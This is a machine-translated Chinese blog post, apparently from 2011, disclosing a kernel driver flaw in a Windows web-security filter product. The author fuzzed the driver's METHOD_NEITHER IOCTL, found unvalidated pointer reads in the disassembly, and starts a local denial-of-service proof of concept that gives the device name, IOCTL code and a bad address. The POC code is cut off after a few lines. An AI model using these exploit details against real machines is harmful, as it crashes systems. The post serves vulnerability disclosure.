A web site security detection system of a chicken-0Day-vulnerability warning-the black bar safety net

ID MYHACK58:62201131954
Type myhack58
Reporter 佚名
Modified 2011-09-28T00:00:00


Today on the microblogging see a bit of the seniors recommend a so-called drive-level WEB Security detection system, The suspicious which is not in the kernel to achieve WAF features, so download it down looked. The discovery of this system has only one drive module, take the IDA analysis a bit feeling the other's just a NDIS filter driver-the General firewall features. It is not like I want to as for theXSS,SQL Injection this type of attack, the defense put in the driver layer to achieve. Think about your own Toolbox with the drive vulnerability mining artifact ioctl_fuzzer, anyway idle is also idle, it is reading started out as a business partner for its General fierce sweep, the result of the virtual machine will BSOD.


Then restart the virtual machine, and hang on Windbg,once again crazy sweep a pass after Windbg to capture a memory access exception. Conjunction with Windbg to provide the exception information, it is easy to analyze clearly this tasteless 0Day of Genesis--

This drive module and the ring 3 layer application communication, the exchange of data of the buffer approach is very do not fly the METHOD_NEITHER,DDK of this buffer mode is described as follows:



The input buffer's address is supplied byParameters. The DeviceIoControl. Type3InputBufferin the driver's IO_STACK_LOCATION structure, and the output buffer's address is specified byIrp->UserBuffer.


Conjunction with the WRK of view, if the use of such poles do not fly in the buffer mode, the IopXxxControlFile in the construction of the IRP is also very irresponsible, you see -



// For this case, do nothing. Everything is up to the driver.

// Simply give the driver a copy of the caller's parameters and

// let the driver do everything itself.


irp->Flags = 0;

irp->UserBuffer = OutputBuffer;

irpSp->Parameters. The DeviceIoControl. Type3InputBuffer = InputBuffer;

The comments say clearly"Everything is up to the driver"in. Well, if the write Driver is that the programmer is also very irresponsible, not this InputBuffer to do a valid test, then the attacker will be blessed

. text:F8643BED mov eax, [ebp+Irp]

. text:F8643BF0 mov eax, [eax+60h] ;EAX points to the IO_STACK_LOCATION

. text:F8643BF3 mov edx, [eax+10h] ;EDX equals the irpSp->Parameters. The DeviceIoControl. Type3InputBuffer

Then there are many from EDX points to the memory read data operation"movzx eax, word ptr [edx]",but all without exception of no more memory address the validity of the test(the most basic of cmp or test are not,not to mention the ProbeForRead). So if you pass in a very wretched address, the BSOD's have got. The following is a can cause a local denial of service POC

include <windows. h>

include <stdio. h>

define DEVICE_NAME"\\\\.\\ WebFireWall"

define DEVICE_IOCONTROL_CODE 0x0012c84f

define MALICIOUS_ADDRESS 0x0c0c0c0c

int main()



int nLen=0;


DWORD dwBytCnt=0;







[1] [2] next